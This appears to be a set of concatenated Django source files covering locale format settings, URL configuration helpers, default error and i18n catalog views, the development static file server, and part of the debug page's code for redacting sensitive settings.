    '%d.%m.%Y %H:%M:%S',     # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # '25.10.2006 14:30'
    '%d.%m.%Y',              # '25.10.2006'
    '%d.%m.%y %H:%M:%S',     # '25.10.06 14:30:59'
    '%d.%m.%y %H:%M:%S.%f',  # '25.10.06 14:30:59.000200'
    '%d.%m.%y %H:%M',        # '25.10.06 14:30'
    '%d.%m.%y',              # '25.10.06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'd F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'd F Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'd F'
SHORT_DATE_FORMAT = 'd M Y'
SHORT_DATETIME_FORMAT = 'd M Y H:i'
FIRST_DAY_OF_WEEK = 1  # Pazartesi

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y',     # '25/10/2006', '25/10/06'
    '%y-%m-%d',                 # '06-10-25'
    # '%d %B %Y', '%d %b. %Y',  # '25 Ekim 2006', '25 Eki. 2006'
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',     # '25/10/2006 14:30:59'
    '%d/%m/%Y %H:%M:%S.%f',  # '25/10/2006 14:30:59.000200'
    '%d/%m/%Y %H:%M',        # '25/10/2006 14:30'
    '%d/%m/%Y',              # '25/10/2006'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3






from django.conf import settings
from django.conf.urls import url
from django.urls import LocaleRegexURLResolver, get_resolver
from django.utils import lru_cache
from django.views.i18n import set_language


def i18n_patterns(*urls, **kwargs):
    """
    Adds the language code prefix to every URL pattern within this
    function. This may only be used in the root URLconf, not in an included
    URLconf.
    """
    if not settings.USE_I18N:
        return list(urls)
    prefix_default_language = kwargs.pop('prefix_default_language', True)
    assert not kwargs, 'Unexpected kwargs for i18n_patterns(): %s' % kwargs
    return [LocaleRegexURLResolver(list(urls), prefix_default_language=prefix_default_language)]


@lru_cache.lru_cache(maxsize=None)
def is_language_prefix_patterns_used(urlconf):
    """
    Return a tuple of two booleans: (
        `True` if LocaleRegexURLResolver` is used in the `urlconf`,
        `True` if the default language should be prefixed
    )
    """
    for url_pattern in get_resolver(urlconf).url_patterns:
        if isinstance(url_pattern, LocaleRegexURLResolver):
            return True, url_pattern.prefix_default_language
    return False, False


urlpatterns = [
    url(r'^setlang/$', set_language, name='set_language'),
]






import warnings
from importlib import import_module

from django.core.exceptions import ImproperlyConfigured
from django.urls import (
    LocaleRegexURLResolver, RegexURLPattern, RegexURLResolver,
)
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning

__all__ = ['handler400', 'handler403', 'handler404', 'handler500', 'include', 'url']

handler400 = 'django.views.defaults.bad_request'
handler403 = 'django.views.defaults.permission_denied'
handler404 = 'django.views.defaults.page_not_found'
handler500 = 'django.views.defaults.server_error'


def include(arg, namespace=None, app_name=None):
    if app_name and not namespace:
        raise ValueError('Must specify a namespace if specifying app_name.')
    if app_name:
        warnings.warn(
            'The app_name argument to django.conf.urls.include() is deprecated. '
            'Set the app_name in the included URLconf instead.',
            RemovedInDjango20Warning, stacklevel=2
        )

    if isinstance(arg, tuple):
        # callable returning a namespace hint
        try:
            urlconf_module, app_name = arg
        except ValueError:
            if namespace:
                raise ImproperlyConfigured(
                    'Cannot override the namespace for a dynamic module that provides a namespace'
                )
            warnings.warn(
                'Passing a 3-tuple to django.conf.urls.include() is deprecated. '
                'Pass a 2-tuple containing the list of patterns and app_name, '
                'and provide the namespace argument to include() instead.',
                RemovedInDjango20Warning, stacklevel=2
            )
            urlconf_module, app_name, namespace = arg
    else:
        # No namespace hint - use manually provided namespace
        urlconf_module = arg

    if isinstance(urlconf_module, six.string_types):
        urlconf_module = import_module(urlconf_module)
    patterns = getattr(urlconf_module, 'urlpatterns', urlconf_module)
    app_name = getattr(urlconf_module, 'app_name', app_name)
    if namespace and not app_name:
        warnings.warn(
            'Specifying a namespace in django.conf.urls.include() without '
            'providing an app_name is deprecated. Set the app_name attribute '
            'in the included module, or pass a 2-tuple containing the list of '
            'patterns and app_name instead.',
            RemovedInDjango20Warning, stacklevel=2
        )

    namespace = namespace or app_name

    # Make sure we can iterate through the patterns (without this, some
    # testcases will break).
    if isinstance(patterns, (list, tuple)):
        for url_pattern in patterns:
            # Test if the LocaleRegexURLResolver is used within the include;
            # this should throw an error since this is not allowed!
            if isinstance(url_pattern, LocaleRegexURLResolver):
                raise ImproperlyConfigured(
                    'Using i18n_patterns in an included URLconf is not allowed.')

    return (urlconf_module, app_name, namespace)


def url(regex, view, kwargs=None, name=None):
    if isinstance(view, (list, tuple)):
        # For include(...) processing.
        urlconf_module, app_name, namespace = view
        return RegexURLResolver(regex, urlconf_module, kwargs, app_name=app_name, namespace=namespace)
    elif callable(view):
        return RegexURLPattern(regex, view, kwargs, name)
    else:
        raise TypeError('view must be a callable or a list/tuple in the case of include().')






import re

from django.conf import settings
from django.conf.urls import url
from django.core.exceptions import ImproperlyConfigured
from django.views.static import serve


def static(prefix, view=serve, **kwargs):
    """
    Helper function to return a URL pattern for serving files in debug mode.

    from django.conf import settings
    from django.conf.urls.static import static

    urlpatterns = [
        # ... the rest of your URLconf goes here ...
    ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
    """
    # No-op if not in debug mode or an non-local prefix
    if not settings.DEBUG or (prefix and '://' in prefix):
        return []
    elif not prefix:
        raise ImproperlyConfigured("Empty static prefix not permitted")
    return [
        url(r'^%s(?P<path>.*)$' % re.escape(prefix.lstrip('/')), view, kwargs=kwargs),
    ]






#!/usr/bin/env python
from django.core import management

if __name__ == "__main__":
    management.execute_from_command_line()






from django import http
from django.template import Context, Engine, TemplateDoesNotExist, loader
from django.utils import six
from django.utils.encoding import force_text
from django.views.decorators.csrf import requires_csrf_token

ERROR_404_TEMPLATE_NAME = '404.html'
ERROR_403_TEMPLATE_NAME = '403.html'
ERROR_400_TEMPLATE_NAME = '400.html'
ERROR_500_TEMPLATE_NAME = '500.html'


# This can be called when CsrfViewMiddleware.process_view has not run,
# therefore need @requires_csrf_token in case the template needs
# {% csrf_token %}.
@requires_csrf_token
def page_not_found(request, exception, template_name=ERROR_404_TEMPLATE_NAME):
    """
    Default 404 handler.

    Templates: :template:`404.html`
    Context:
        request_path
            The path of the requested URL (e.g., '/app/pages/bad_page/')
        exception
            The message from the exception which triggered the 404 (if one was
            supplied), or the exception class name
    """
    exception_repr = exception.__class__.__name__
    # Try to get an "interesting" exception message, if any (and not the ugly
    # Resolver404 dictionary)
    try:
        message = exception.args[0]
    except (AttributeError, IndexError):
        pass
    else:
        if isinstance(message, six.text_type):
            exception_repr = message
    context = {
        'request_path': request.path,
        'exception': exception_repr,
    }
    try:
        template = loader.get_template(template_name)
        body = template.render(context, request)
        content_type = None             # Django will use DEFAULT_CONTENT_TYPE
    except TemplateDoesNotExist:
        if template_name != ERROR_404_TEMPLATE_NAME:
            # Reraise if it's a missing custom template.
            raise
        template = Engine().from_string(
            '<h1>Not Found</h1>'
            '<p>The requested URL {{ request_path }} was not found on this server.</p>')
        body = template.render(Context(context))
        content_type = 'text/html'
    return http.HttpResponseNotFound(body, content_type=content_type)


@requires_csrf_token
def server_error(request, template_name=ERROR_500_TEMPLATE_NAME):
    """
    500 error handler.

    Templates: :template:`500.html`
    Context: None
    """
    try:
        template = loader.get_template(template_name)
    except TemplateDoesNotExist:
        if template_name != ERROR_500_TEMPLATE_NAME:
            # Reraise if it's a missing custom template.
            raise
        return http.HttpResponseServerError('<h1>Server Error (500)</h1>', content_type='text/html')
    return http.HttpResponseServerError(template.render())


@requires_csrf_token
def bad_request(request, exception, template_name=ERROR_400_TEMPLATE_NAME):
    """
    400 error handler.

    Templates: :template:`400.html`
    Context: None
    """
    try:
        template = loader.get_template(template_name)
    except TemplateDoesNotExist:
        if template_name != ERROR_400_TEMPLATE_NAME:
            # Reraise if it's a missing custom template.
            raise
        return http.HttpResponseBadRequest('<h1>Bad Request (400)</h1>', content_type='text/html')
    # No exception content is passed to the template, to not disclose any sensitive information.
    return http.HttpResponseBadRequest(template.render())


# This can be called when CsrfViewMiddleware.process_view has not run,
# therefore need @requires_csrf_token in case the template needs
# {% csrf_token %}.
@requires_csrf_token
def permission_denied(request, exception, template_name=ERROR_403_TEMPLATE_NAME):
    """
    Permission denied (403) handler.

    Templates: :template:`403.html`
    Context: None

    If the template does not exist, an Http403 response containing the text
    "403 Forbidden" (as per RFC 7231) will be returned.
    """
    try:
        template = loader.get_template(template_name)
    except TemplateDoesNotExist:
        if template_name != ERROR_403_TEMPLATE_NAME:
            # Reraise if it's a missing custom template.
            raise
        return http.HttpResponseForbidden('<h1>403 Forbidden</h1>', content_type='text/html')
    return http.HttpResponseForbidden(
        template.render(request=request, context={'exception': force_text(exception)})
    )






import importlib
import itertools
import json
import os
import warnings

from django import http
from django.apps import apps
from django.conf import settings
from django.template import Context, Engine
from django.urls import translate_url
from django.utils import six
from django.utils._os import upath
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import smart_text
from django.utils.formats import get_format
from django.utils.http import is_safe_url, urlunquote
from django.utils.translation import (
    LANGUAGE_SESSION_KEY, check_for_language, get_language, to_locale,
)
from django.utils.translation.trans_real import DjangoTranslation
from django.views.generic import View

DEFAULT_PACKAGES = ['django.conf']
LANGUAGE_QUERY_PARAMETER = 'language'


def set_language(request):
    """
    Redirect to a given url while setting the chosen language in the
    session or cookie. The url and the language code need to be
    specified in the request parameters.

    Since this view changes how the user will see the rest of the site, it must
    only be accessed as a POST request. If called as a GET request, it will
    redirect to the page in the request (the 'next' parameter) without changing
    any state.
    """
    next = request.POST.get('next', request.GET.get('next'))
    if ((next or not request.is_ajax()) and
            not is_safe_url(url=next, host=request.get_host(), require_https=request.is_secure())):
        next = request.META.get('HTTP_REFERER')
        if next:
            next = urlunquote(next)  # HTTP_REFERER may be encoded.
        if not is_safe_url(url=next, host=request.get_host(), require_https=request.is_secure()):
            next = '/'
    response = http.HttpResponseRedirect(next) if next else http.HttpResponse(status=204)
    if request.method == 'POST':
        lang_code = request.POST.get(LANGUAGE_QUERY_PARAMETER)
        if lang_code and check_for_language(lang_code):
            if next:
                next_trans = translate_url(next, lang_code)
                if next_trans != next:
                    response = http.HttpResponseRedirect(next_trans)
            if hasattr(request, 'session'):
                request.session[LANGUAGE_SESSION_KEY] = lang_code
            else:
                response.set_cookie(
                    settings.LANGUAGE_COOKIE_NAME, lang_code,
                    max_age=settings.LANGUAGE_COOKIE_AGE,
                    path=settings.LANGUAGE_COOKIE_PATH,
                    domain=settings.LANGUAGE_COOKIE_DOMAIN,
                )
    return response


def get_formats():
    """
    Returns all formats strings required for i18n to work
    """
    FORMAT_SETTINGS = (
        'DATE_FORMAT', 'DATETIME_FORMAT', 'TIME_FORMAT',
        'YEAR_MONTH_FORMAT', 'MONTH_DAY_FORMAT', 'SHORT_DATE_FORMAT',
        'SHORT_DATETIME_FORMAT', 'FIRST_DAY_OF_WEEK', 'DECIMAL_SEPARATOR',
        'THOUSAND_SEPARATOR', 'NUMBER_GROUPING',
        'DATE_INPUT_FORMATS', 'TIME_INPUT_FORMATS', 'DATETIME_INPUT_FORMATS'
    )
    result = {}
    for attr in FORMAT_SETTINGS:
        result[attr] = get_format(attr)
    formats = {}
    for k, v in result.items():
        if isinstance(v, (six.string_types, int)):
            formats[k] = smart_text(v)
        elif isinstance(v, (tuple, list)):
            formats[k] = [smart_text(value) for value in v]
    return formats


js_catalog_template = r"""
{% autoescape off %}
(function(globals) {

  var django = globals.django || (globals.django = {});

  {% if plural %}
  django.pluralidx = function(n) {
    var v={{ plural }};
    if (typeof(v) == 'boolean') {
      return v ? 1 : 0;
    } else {
      return v;
    }
  };
  {% else %}
  django.pluralidx = function(count) { return (count == 1) ? 0 : 1; };
  {% endif %}

  /* gettext library */

  django.catalog = django.catalog || {};
  {% if catalog_str %}
  var newcatalog = {{ catalog_str }};
  for (var key in newcatalog) {
    django.catalog[key] = newcatalog[key];
  }
  {% endif %}

  if (!django.jsi18n_initialized) {
    django.gettext = function(msgid) {
      var value = django.catalog[msgid];
      if (typeof(value) == 'undefined') {
        return msgid;
      } else {
        return (typeof(value) == 'string') ? value : value[0];
      }
    };

    django.ngettext = function(singular, plural, count) {
      var value = django.catalog[singular];
      if (typeof(value) == 'undefined') {
        return (count == 1) ? singular : plural;
      } else {
        return value[django.pluralidx(count)];
      }
    };

    django.gettext_noop = function(msgid) { return msgid; };

    django.pgettext = function(context, msgid) {
      var value = django.gettext(context + '\x04' + msgid);
      if (value.indexOf('\x04') != -1) {
        value = msgid;
      }
      return value;
    };

    django.npgettext = function(context, singular, plural, count) {
      var value = django.ngettext(context + '\x04' + singular, context + '\x04' + plural, count);
      if (value.indexOf('\x04') != -1) {
        value = django.ngettext(singular, plural, count);
      }
      return value;
    };

    django.interpolate = function(fmt, obj, named) {
      if (named) {
        return fmt.replace(/%\(\w+\)s/g, function(match){return String(obj[match.slice(2,-2)])});
      } else {
        return fmt.replace(/%s/g, function(match){return String(obj.shift())});
      }
    };


    /* formatting library */

    django.formats = {{ formats_str }};

    django.get_format = function(format_type) {
      var value = django.formats[format_type];
      if (typeof(value) == 'undefined') {
        return format_type;
      } else {
        return value;
      }
    };

    /* add to global namespace */
    globals.pluralidx = django.pluralidx;
    globals.gettext = django.gettext;
    globals.ngettext = django.ngettext;
    globals.gettext_noop = django.gettext_noop;
    globals.pgettext = django.pgettext;
    globals.npgettext = django.npgettext;
    globals.interpolate = django.interpolate;
    globals.get_format = django.get_format;

    django.jsi18n_initialized = true;
  }

}(this));
{% endautoescape %}
"""


def render_javascript_catalog(catalog=None, plural=None):
    template = Engine().from_string(js_catalog_template)

    def indent(s):
        return s.replace('\n', '\n  ')

    context = Context({
        'catalog_str': indent(json.dumps(
            catalog, sort_keys=True, indent=2)) if catalog else None,
        'formats_str': indent(json.dumps(
            get_formats(), sort_keys=True, indent=2)),
        'plural': plural,
    })

    return http.HttpResponse(template.render(context), 'text/javascript')


def get_javascript_catalog(locale, domain, packages):
    app_configs = apps.get_app_configs()
    allowable_packages = set(app_config.name for app_config in app_configs)
    allowable_packages.update(DEFAULT_PACKAGES)
    packages = [p for p in packages if p in allowable_packages]
    paths = []
    # paths of requested packages
    for package in packages:
        p = importlib.import_module(package)
        path = os.path.join(os.path.dirname(upath(p.__file__)), 'locale')
        paths.append(path)

    trans = DjangoTranslation(locale, domain=domain, localedirs=paths)
    trans_cat = trans._catalog

    plural = None
    if '' in trans_cat:
        for line in trans_cat[''].split('\n'):
            if line.startswith('Plural-Forms:'):
                plural = line.split(':', 1)[1].strip()
    if plural is not None:
        # this should actually be a compiled function of a typical plural-form:
        # Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 :
        #               n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;
        plural = [el.strip() for el in plural.split(';') if el.strip().startswith('plural=')][0].split('=', 1)[1]

    pdict = {}
    maxcnts = {}
    catalog = {}
    trans_fallback_cat = trans._fallback._catalog if trans._fallback else {}
    for key, value in itertools.chain(six.iteritems(trans_cat), six.iteritems(trans_fallback_cat)):
        if key == '' or key in catalog:
            continue
        if isinstance(key, six.string_types):
            catalog[key] = value
        elif isinstance(key, tuple):
            msgid = key[0]
            cnt = key[1]
            maxcnts[msgid] = max(cnt, maxcnts.get(msgid, 0))
            pdict.setdefault(msgid, {})[cnt] = value
        else:
            raise TypeError(key)
    for k, v in pdict.items():
        catalog[k] = [v.get(i, '') for i in range(maxcnts[msgid] + 1)]

    return catalog, plural


def _get_locale(request):
    language = request.GET.get(LANGUAGE_QUERY_PARAMETER)
    if not (language and check_for_language(language)):
        language = get_language()
    return to_locale(language)


def _parse_packages(packages):
    if packages is None:
        packages = list(DEFAULT_PACKAGES)
    elif isinstance(packages, six.string_types):
        packages = packages.split('+')
    return packages


def null_javascript_catalog(request, domain=None, packages=None):
    """
    Returns "identity" versions of the JavaScript i18n functions -- i.e.,
    versions that don't actually do anything.
    """
    return render_javascript_catalog()


def javascript_catalog(request, domain='djangojs', packages=None):
    """
    Returns the selected language catalog as a javascript library.

    Receives the list of packages to check for translations in the
    packages parameter either from an infodict or as a +-delimited
    string from the request. Default is 'django.conf'.

    Additionally you can override the gettext domain for this view,
    but usually you don't want to do that, as JavaScript messages
    go to the djangojs domain. But this might be needed if you
    deliver your JavaScript source from Django templates.
    """
    warnings.warn(
        "The javascript_catalog() view is deprecated in favor of the "
        "JavaScriptCatalog view.", RemovedInDjango20Warning, stacklevel=2
    )
    locale = _get_locale(request)
    packages = _parse_packages(packages)
    catalog, plural = get_javascript_catalog(locale, domain, packages)
    return render_javascript_catalog(catalog, plural)


def json_catalog(request, domain='djangojs', packages=None):
    """
    Return the selected language catalog as a JSON object.

    Receives the same parameters as javascript_catalog(), but returns
    a response with a JSON object of the following format:

        {
            "catalog": {
                # Translations catalog
            },
            "formats": {
                # Language formats for date, time, etc.
            },
            "plural": '...'  # Expression for plural forms, or null.
        }
    """
    warnings.warn(
        "The json_catalog() view is deprecated in favor of the "
        "JSONCatalog view.", RemovedInDjango20Warning, stacklevel=2
    )
    locale = _get_locale(request)
    packages = _parse_packages(packages)
    catalog, plural = get_javascript_catalog(locale, domain, packages)
    data = {
        'catalog': catalog,
        'formats': get_formats(),
        'plural': plural,
    }
    return http.JsonResponse(data)


class JavaScriptCatalog(View):
    """
    Return the selected language catalog as a JavaScript library.

    Receives the list of packages to check for translations in the `packages`
    kwarg either from the extra dictionary passed to the url() function or as a
    plus-sign delimited string from the request. Default is 'django.conf'.

    You can override the gettext domain for this view, but usually you don't
    want to do that as JavaScript messages go to the djangojs domain. This
    might be needed if you deliver your JavaScript source from Django templates.
    """
    domain = 'djangojs'
    packages = None

    def get(self, request, *args, **kwargs):
        locale = get_language()
        domain = kwargs.get('domain', self.domain)
        # If packages are not provided, default to all installed packages, as
        # DjangoTranslation without localedirs harvests them all.
        packages = kwargs.get('packages', '').split('+') or self.packages
        paths = self.get_paths(packages) if packages else None
        self.translation = DjangoTranslation(locale, domain=domain, localedirs=paths)
        context = self.get_context_data(**kwargs)
        return self.render_to_response(context)

    def get_paths(self, packages):
        allowable_packages = dict((app_config.name, app_config) for app_config in apps.get_app_configs())
        app_configs = [allowable_packages[p] for p in packages if p in allowable_packages]
        # paths of requested packages
        return [os.path.join(app.path, 'locale') for app in app_configs]

    def get_plural(self):
        plural = None
        if '' in self.translation._catalog:
            for line in self.translation._catalog[''].split('\n'):
                if line.startswith('Plural-Forms:'):
                    plural = line.split(':', 1)[1].strip()
        if plural is not None:
            # This should be a compiled function of a typical plural-form:
            # Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 :
            #               n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;
            plural = [el.strip() for el in plural.split(';') if el.strip().startswith('plural=')][0].split('=', 1)[1]
        return plural

    def get_catalog(self):
        pdict = {}
        maxcnts = {}
        catalog = {}
        trans_cat = self.translation._catalog
        trans_fallback_cat = self.translation._fallback._catalog if self.translation._fallback else {}
        for key, value in itertools.chain(six.iteritems(trans_cat), six.iteritems(trans_fallback_cat)):
            if key == '' or key in catalog:
                continue
            if isinstance(key, six.string_types):
                catalog[key] = value
            elif isinstance(key, tuple):
                msgid = key[0]
                cnt = key[1]
                maxcnts[msgid] = max(cnt, maxcnts.get(msgid, 0))
                pdict.setdefault(msgid, {})[cnt] = value
            else:
                raise TypeError(key)
        for k, v in pdict.items():
            catalog[k] = [v.get(i, '') for i in range(maxcnts[msgid] + 1)]
        return catalog

    def get_context_data(self, **kwargs):
        return {
            'catalog': self.get_catalog(),
            'formats': get_formats(),
            'plural': self.get_plural(),
        }

    def render_to_response(self, context, **response_kwargs):
        def indent(s):
            return s.replace('\n', '\n  ')

        template = Engine().from_string(js_catalog_template)
        context['catalog_str'] = indent(
            json.dumps(context['catalog'], sort_keys=True, indent=2)
        ) if context['catalog'] else None
        context['formats_str'] = indent(json.dumps(context['formats'], sort_keys=True, indent=2))

        return http.HttpResponse(template.render(Context(context)), 'text/javascript')


class JSONCatalog(JavaScriptCatalog):
    """
    Return the selected language catalog as a JSON object.

    Receives the same parameters as JavaScriptCatalog and returns a response
    with a JSON object of the following format:

        {
            "catalog": {
                # Translations catalog
            },
            "formats": {
                # Language formats for date, time, etc.
            },
            "plural": '...'  # Expression for plural forms, or null.
        }
    """
    def render_to_response(self, context, **response_kwargs):
        return http.JsonResponse(context)






from django.views.generic.base import View

__all__ = ['View']






"""
Views and functions for serving static files. These are only to be used
during development, and SHOULD NOT be used in a production setting.
"""
from __future__ import unicode_literals

import mimetypes
import os
import posixpath
import re
import stat

from django.http import (
    FileResponse, Http404, HttpResponse, HttpResponseNotModified,
    HttpResponseRedirect,
)
from django.template import Context, Engine, TemplateDoesNotExist, loader
from django.utils.http import http_date, parse_http_date
from django.utils.six.moves.urllib.parse import unquote
from django.utils.translation import ugettext as _, ugettext_lazy


def serve(request, path, document_root=None, show_indexes=False):
    """
    Serve static files below a given point in the directory structure.

    To use, put a URL pattern such as::

        from django.views.static import serve

        url(r'^(?P<path>.*)$', serve, {'document_root': '/path/to/my/files/'})

    in your URLconf. You must provide the ``document_root`` param. You may
    also set ``show_indexes`` to ``True`` if you'd like to serve a basic index
    of the directory.  This index view will use the template hardcoded below,
    but if you'd like to override it, you can create a template called
    ``static/directory_index.html``.
    """
    path = posixpath.normpath(unquote(path))
    path = path.lstrip('/')
    newpath = ''
    for part in path.split('/'):
        if not part:
            # Strip empty path components.
            continue
        drive, part = os.path.splitdrive(part)
        head, part = os.path.split(part)
        if part in (os.curdir, os.pardir):
            # Strip '.' and '..' in path.
            continue
        newpath = os.path.join(newpath, part).replace('\\', '/')
    if newpath and path != newpath:
        return HttpResponseRedirect(newpath)
    fullpath = os.path.join(document_root, newpath)
    if os.path.isdir(fullpath):
        if show_indexes:
            return directory_index(newpath, fullpath)
        raise Http404(_("Directory indexes are not allowed here."))
    if not os.path.exists(fullpath):
        raise Http404(_('"%(path)s" does not exist') % {'path': fullpath})
    # Respect the If-Modified-Since header.
    statobj = os.stat(fullpath)
    if not was_modified_since(request.META.get('HTTP_IF_MODIFIED_SINCE'),
                              statobj.st_mtime, statobj.st_size):
        return HttpResponseNotModified()
    content_type, encoding = mimetypes.guess_type(fullpath)
    content_type = content_type or 'application/octet-stream'
    response = FileResponse(open(fullpath, 'rb'), content_type=content_type)
    response["Last-Modified"] = http_date(statobj.st_mtime)
    if stat.S_ISREG(statobj.st_mode):
        response["Content-Length"] = statobj.st_size
    if encoding:
        response["Content-Encoding"] = encoding
    return response


DEFAULT_DIRECTORY_INDEX_TEMPLATE = """
{% load i18n %}
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <meta http-equiv="Content-Language" content="en-us" />
    <meta name="robots" content="NONE,NOARCHIVE" />
    <title>{% blocktrans %}Index of {{ directory }}{% endblocktrans %}</title>
  </head>
  <body>
    <h1>{% blocktrans %}Index of {{ directory }}{% endblocktrans %}</h1>
    <ul>
      {% if directory != "/" %}
      <li><a href="../">../</a></li>
      {% endif %}
      {% for f in file_list %}
      <li><a href="{{ f|urlencode }}">{{ f }}</a></li>
      {% endfor %}
    </ul>
  </body>
</html>
"""
template_translatable = ugettext_lazy("Index of %(directory)s")


def directory_index(path, fullpath):
    try:
        t = loader.select_template([
            'static/directory_index.html',
            'static/directory_index',
        ])
    except TemplateDoesNotExist:
        t = Engine(libraries={'i18n': 'django.templatetags.i18n'}).from_string(DEFAULT_DIRECTORY_INDEX_TEMPLATE)
    files = []
    for f in os.listdir(fullpath):
        if not f.startswith('.'):
            if os.path.isdir(os.path.join(fullpath, f)):
                f += '/'
            files.append(f)
    c = Context({
        'directory': path + '/',
        'file_list': files,
    })
    return HttpResponse(t.render(c))


def was_modified_since(header=None, mtime=0, size=0):
    """
    Was something modified since the user last downloaded it?

    header
      This is the value of the If-Modified-Since header.  If this is None,
      I'll just return True.

    mtime
      This is the modification time of the item we're talking about.

    size
      This is the size of the item we're talking about.
    """
    try:
        if header is None:
            raise ValueError
        matches = re.match(r"^([^;]+)(; length=([0-9]+))?$", header,
                           re.IGNORECASE)
        header_mtime = parse_http_date(matches.group(1))
        header_len = matches.group(3)
        if header_len and int(header_len) != size:
            raise ValueError
        if int(mtime) > header_mtime:
            raise ValueError
    except (AttributeError, ValueError, OverflowError):
        return True
    return False






from __future__ import unicode_literals

import re
import sys
import types

from django.conf import settings
from django.http import HttpResponse, HttpResponseNotFound
from django.template import Context, Engine, TemplateDoesNotExist
from django.template.defaultfilters import force_escape, pprint
from django.urls import Resolver404, resolve
from django.utils import lru_cache, six, timezone
from django.utils.datastructures import MultiValueDict
from django.utils.encoding import force_bytes, smart_text
from django.utils.module_loading import import_string
from django.utils.translation import ugettext as _

# Minimal Django templates engine to render the error templates
# regardless of the project's TEMPLATES setting.
DEBUG_ENGINE = Engine(debug=True)

HIDDEN_SETTINGS = re.compile('API|TOKEN|KEY|SECRET|PASS|SIGNATURE', flags=re.IGNORECASE)

CLEANSED_SUBSTITUTE = '********************'


class CallableSettingWrapper(object):
    """ Object to wrap callable appearing in settings

    * Not to call in the debug page (#21345).
    * Not to break the debug page if the callable forbidding to set attributes (#23070).
    """
    def __init__(self, callable_setting):
        self._wrapped = callable_setting

    def __repr__(self):
        return repr(self._wrapped)


def cleanse_setting(key, value):
    """Cleanse an individual setting key/value of sensitive content.

    If the value is a dictionary, recursively cleanse the keys in
    that dictionary.
    """
    try:
        if HIDDEN_SETTINGS.search(key):
            cleansed = CLEANSED_SUBSTITUTE
        else:
            if isinstance(value, dict):
                cleansed = {k: cleanse_setting(k, v) for k, v in value.items()}
            else:
                cleansed = value
    except TypeError:
        # If the key isn't regex-able, just return as-is.
        cleansed = value

    if callable(cleansed):
        # For fixing #21345 and #23070
        cleansed = CallableSettingWrapper(cleansed)

    return cleansed


def get_safe_settings():
    "Returns a dictionary of the settings module, with sensitive settings blurred out."
    settings_dict = {}
    for k in dir(settings):
        if k.isupper():
            settings_dict[k] = cleanse_setting(k, getattr(settings, k))
    return settings_dict


def technical_500_response(request, exc_type, exc_value, tb, status_code=500):
    """
    Create a technical server error response. The last three arguments are
    the values returned from sys.exc_info() and friends.
    """
    reporter = ExceptionReporter(request, exc_type, exc_value, tb)
    if request.is_ajax():
        text = reporter.get_traceback_text()
        return HttpResponse(text, status=status_code, content_type='text/plain')
    else:
        html = reporter.get_traceback_html()
        return HttpResponse(html, status=status_code, content_type='text/html')


@lru_cache.lru_cache()
def get_default_exception_reporter_filter():
    # Instantiate the default filter for the first time and cache it.
    return import_string(settings.DEFAULT_EXCEPTION_REPORTER_FILTER)()


def get_exception_reporter_filter(request):
    default_filter = get_default_exception_reporter_filter()
    return getattr(request, 'exception_reporter_filter', default_filter)


class ExceptionReporterFilter(object):
    """
    Base for all exception reporter filter classes. All overridable hooks
    contain lenient default behaviors.
    """

    def get_post_parameters(self, request):
        if request is None:
            return {}
        else:
            return request.POST

    def get_traceback_frame_variables(self, request, tb_frame):
        return list(tb_frame.f_locals.items())


class SafeExceptionReporterFilter(ExceptionReporterFilter):
    """
    Use annotations made by the sensitive_post_parameters and
    sensitive_variables decorators to filter out sensitive information.
    """

    def is_active(self, request):
        """
        This filter is to add safety in production environments (i.e. DEBUG
        is False). If DEBUG is True then your site is not safe anyway.
        This hook is provided as a convenience to easily activate or
        deactivate the filter on a per request basis.
        """
        return settings.DEBUG is False

    def get_cleansed_multivaluedict(self, request, multivaluedict):
        """
        Replaces the keys in a MultiValueDict marked as sensitive with stars.
        This mitigates leaking sensitive POST parameters if something like
        request.POST['nonexistent_key'] throws an exception (#21098).
        """
        sensitive_post_parameters = getattr(request, 'sensitive_post_parameters', [])
        if self.is_active(request) and sensitive_post_parameters:
            multivaluedict = multivaluedict.copy()
            for param in sensitive_post_parameters:
                if param in multivaluedict:
                    multivaluedict[param] = CLEANSED_SUBSTITUTE
        return multivaluedict

    def get_post_parameters(self, request):
        """
        Replaces the values of POST parameters marked as sensitive with
        stars (*********).
        """
        if request is None:
            return {}
        else:
            sensitive_post_parameters = getattr(request, 'sensitive_post_parameters', [])
            if self.is_active(request) and sensitive_post_parameters:
                cleansed = request.POST.copy()
                if sensitive_post_parameters == '__ALL__':
                    # Cleanse all parameters.
                    for k, v in cleansed.items():
                        cleansed[k] = CLEANSED_SUBSTITUTE
                    return cleansed
                else:
                    # Cleanse only the specified parameters.
                    for param in sensitive_post_parameters:
                        if param in cleansed:
                            cleansed[param] = CLEANSED_SUBSTITUTE
                    return cleansed
            else:
                return request.POST

    def cleanse_special_types(self, request, value):
        try:
            # If value is lazy or a complex object of another kind, this check
            # might raise an exception. isinstance checks that lazy
            # MultiValueDicts will have a return value.
            is_multivalue_dict = isinstance(value, MultiValueDict)
        except Exception as e:
            return '{!r} while evaluating {!r}'.format(e, value)

        if is_multivalue_dict:
            # Cleanse MultiValueDicts (request.POST is the one we usually care about)
            value = self.get_cleansed_multivaluedict(request, value)
        return value

